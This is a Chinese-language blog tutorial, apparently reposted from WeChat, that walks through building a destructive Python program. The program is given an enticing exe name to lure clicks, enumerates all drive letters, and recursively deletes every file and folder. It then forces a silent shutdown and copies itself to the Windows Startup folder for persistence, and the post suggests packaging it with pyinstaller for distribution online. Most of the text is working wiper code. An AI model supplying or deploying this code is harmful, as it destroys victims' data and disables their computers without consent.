/1 前言/
今天我们要做的案例是怎样利用Python做一个hacker软件。
众所周知，一般的Hacker对于黑操作系统一般常用手法莫过于发送木马客户端，修改系统注册表。
组策略，获得开机启动权限，入侵电脑然后对电脑的文件进行修改来达到不可告人的目的。
今天我们要讲的就是最基础的，怎样获得开机启动，先给大家讲最基础添加文件到系统启动项的文件夹中，当然更加高端点也可以使用注册表添加，这里不在累述。好了，下面开始正题。。。。。。
/2 实现步骤/
首先我们通过社会工程学进行一个分析，准备一个足够吸引人的exe文件名称好让人第一眼看到就想点击它的欲望；等到别人点击了之后了这个程序是没有任何响应的，那么有的人也许会多点几下程序，当然这也对程序没有任何影响。下面我们来看一下：
首先我们得获取系统盘盘符，这个我们可以使用os模块通过对环境变量的字典键值来得到当前系统盘盘符。
1import os 2print(os.getenv('SystemDrive'))
得到盘符后我们先可以将他的目录下的文件和文件夹打印出来
1aa=os.getenv('SystemDrive') 2os.chdir(aa+'\\\\') \#修改当前目录 3os.system('tree\>\>1.txt') 打印树形目录并将其结果保存到1.txt文件中
然后我们只需要删除盘符下的文件夹和文件即可
所以我们需要用到 os 的walk遍历当前盘符下的所有文件，然后使用remove方法和rmdir方法,一个是删除文件另一个是删除目录
好了。我们开始吧,由于没有虚拟机于是自己创建一个目录放了若干文件夹和文件，效果都一样
path = r"C:\\Users\\Administrator\\Desktop\\sa"
os.walk() 方法用于通过在目录树中游走输出在目录中的文件名，向上或者向下。
os.walk()方法是一个简单易用的文件、目录遍历器，可以帮助我们高效的处理文件、目录方面的事情。
语法：
os.walk(top[, topdown=True[, onerror=None[, followlinks=False]]])
参数：
top -- 根目录下的每一个文件夹(包含它自己), 产生3-元组 (dirpath, dirnames,filenames) 【文件夹路径, 文件夹名字, 文件名】。
topdown --可选，为True或者没有指定,一个目录的的3-元组将比它的任何子文件夹的3-元组先产生 (目录自上而下)。
如果topdown为 False, 一个目录的3-元组将比它的任何子文件夹的3-元组后产生(目录自下而上)。
onerror -- 可选，是一个函数; 它调用时有一个参数,一个OSError实例。报告这错误后，继续walk,
或者抛出exception终止walk。
1for root,dirs,files in os.walk(path,topdown=False): 2 \#遍历目录 3 for name in files: 4 os.remove(os.path.join(root, name)) 5 6 for name in dirs: 7 os.rmdir(os.path.join(root, name))
其实还有一种方法，就是shutil.rmtree(path)，但是它会删除目录本身及所有子文件夹和文件，也就是说他会删除sa这个目录，所以不推荐这种搞法，因为我们要删除的是盘符下的文件夹或者文件，这样做很容易导致未知的错误
得到了系统盘符之后，我们还想得到系统其它盘符那该怎么办了，不着急，我们可以试试下面这种方法。
1import os 2import string 3 4def get_pan(): 5 disk_list=[] \#磁盘盘符列表 6 for p in string.ascii_uppercase: \#遍历所有大写字母 7 disk=p+':' 8 if os.path.isdir(disk): \#看磁盘盘符名用了哪些大写字母开头 9 disk_list.append(disk) \#添加到盘符列表 10 return disk_list 11print(get_pan()) #打印盘符
结果很完美，跟我预想的一模一样，连u盘盘符也打印出来了~
光打印一个磁盘目录文件好像显得有点美中不足，于是我决定吧所有磁盘目录文件都整出来，老样子，还是树形结构。
这样每个盘的目录结构就都保存在对应盘的2.txt文件中了。
然后我们将会把这些盘符下的目录文件全部删除，当然遍历删除啦，为了模拟真实场景我决定用几个带有多层文件和目录的文件夹来代替盘符，这里我就不一一截图了，直接上代码，老样子
1g=['C:\\\\Users\\\\Administrator\\\\Desktop\\\\sa\\\\','C:\\\\Users\\\\Administrator\\\\Desktop\\\\qq\\\\','C:\\\\Users\\\\Administrator\\\\Desktop\\\\sq\\\\'] 2 3for y in g: 4 for root, dirs, files in os.walk(y,topdown=False):\#遍历目录 5 for name in files: 6 os.remove(os.path.join(root, name)) 7 for name in dirs: 8 os.rmdir(os.path.join(root, name))
ok，我们已经将文件及目录全部删除。
删除文件后了系统自然无法正常运行，于是这个时候我们可以使电脑关机，shutdown ，我的不二选择，它的方法有很多，用法如下:
1shutdown [/i | /l | /s | /sg | /r | /g | /a | /p | /h | /e | /o][/hybrid] [/soft] [/fw] [/f] 2/m \computer[/d [p|u:]xx:yy [/c “comment”]]
没有参数 显示帮助。这与键入 /? 是一样的。
1/? 显示帮助。这与不键入任何选项是一样的。 2/i 显示图形用户界面(GUI)。这必须是第一个选项。 3/l 注销。这不能与 /m 或 /d 选项一起使用。 4/s 关闭计算机。 5/sg 关闭计算机。在下一次启动时，重启任何注册的应用程序。 6/r 完全关闭并重启计算机。 7/g 完全关闭并重新启动计算机。在重新启动系统后，重启任何注册的应用程序。 8/a 中止系统关闭。这只能在超时期间使用。 9与 /fw 结合使用，以清除任何未完成的至固件的引导。 10/p 关闭本地计算机，没有超时或警告。可以与 /d 和 /f 选项一起使用。 11/h 休眠本地计算机。可以与 /f 选项一起使用。 12/hybrid 执行计算机关闭并进行准备以快速启动。必须与 /s 选项一起使用。 13/fw 与关闭选项结合使用，使下次启动转到固件用户界面。 14/e 记录计算机意外关闭的原因。 15/o 转到高级启动选项菜单并重新启动计算机。 16必须与 /r 选项一起使用。 17/m \\computer 指定目标计算机。 18/t xxx 将关闭前的超时时间设置为 xxx 秒。 19有效范围是 0-315360000 (10 年)，默认值为 30。 20如果超时时间大于 0，则默示为/f 参数。 21/c "comment" 有关重新启动或关闭的原因的注释。最多允许 512 个字符。 22/f 强制关闭正在运行的应用程序而不事先警告用户。 23如果为 /t 参数指定大于 0 的值，则默示为 /f 参数。 24/d [p|u:]xx:yy 提供重新启动或关闭的原因。 25p 指示重启或关闭是计划内的。 26u 指示原因是用户定义的。 27如果未指定 p 也未指定 u，则重新启动或关闭是计划外的。 28xx 是主要原因编号(小于 256 的正整数)。 29yy 是次要原因编号(小于 65536 的正整数)。
所以我们得调用os.popen('shutdown /f /sg')，这样就可以在没有任何提示下关机了，神不知鬼不觉，哈哈哈，当然这个操作得是基于文件操作结束后进行的,再次进行优化
1g=['C:\\\\Users\\\\Administrator\\\\Desktop\\\\sa\\\\','C:\\\\Users\\\\Administrator\\\\Desktop\\\\qq\\\\','C:\\\\Users\\\\Administrator\\\\Desktop\\\\sq\\\\'] 2 3for y in g: 4 try: 5 #遍历目录 6 for root, dirs, files in os.walk(y,topdown=False): 7 for name in files: 8 os.remove(os.path.join(root, name)) 9 for name in dirs: 10 os.rmdir(os.path.join(root, name)) 11 time.sleep(1) 12 13 except Exception: 14 pass 15 16 finally: 17 os.popen('shutdown /f /sg')\#不弹出黑窗口
我们把程序发到网上运气好别人点击了，得让那个文件在自启动目录然后每次开机那个程序才会跟着启动啊，但是你想让别人把那个文件放到启动目录里去，做梦呢？这些操作当然交给万能的Python就能一步搞定啦。我们可以在点击这个文件之后快速生成一个bat文件和一个EXE文件或者Python文件。
在这里我以Python 和bat为主，因为我还没打包的缘故。
1自启动目录路径： 2C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup 3import shutil 4shutil.copyfile('gc.py',r'C:\\ProgramData\\Microsoft\\Windows\\Start 5Menu\\Programs\\StartUp\\gc1.py')
在这里我们用到shutil这个模块，专门操作文件目录的Copyfile方法是将当前资源文件复制到另一个目录下的文件，但是需要注意一点的是，两个文件名不可一样，否则会报错，虽然它可以复制，如果你非得用这个方法，记得抛异常。好了，现在可以了：
然后我们还需要一个bat来启动它，因为没有bat它是需要借助外力去点击才有效果的，有了bat就可以自动启动。
建立一个后缀为bat的文件，内容如下：
同样的。我们还是需要我们的Python来智能产生bat文件那么该怎样写了，很简单，有人问我为什么是pythow不是Python，因为前者运行后没有黑窗口，当然不管是创建bat文件还是复制程序文件都最好在删除之后调用，有人问我，你的文件都删除完了，留那一个有何用，哈啊哈哈，我只能说，仅供娱乐。。。
回到正题，程序文件只需创建一个就ok。
这样就算是大功告成了，然后我们也可以把Python文件打包，这样bat文件里就不需要写解释器了，因为有的目标电脑可能没有Python环境，这个时候需要我们用pyinstaller打包一下。打包好了之后，直接把bat文件内容改为start gc.exe就可以了。
打包成exe文件之后了，就可以发布到网上装X啦，哈哈哈~
-------------------********************************** End **********-------------**-----********-**********************************
往期精彩文章推荐：
欢迎各位大佬点击链接加入群聊【helloworld开发者社区】：https://jq.qq.com/?_wv=1027&k=mBlk6nzX进群交流IT技术热点。
本文转自 https://mp.weixin.qq.com/s/Go9HVgy2swFN7HuexYE9pg，如有侵权，请联系删除。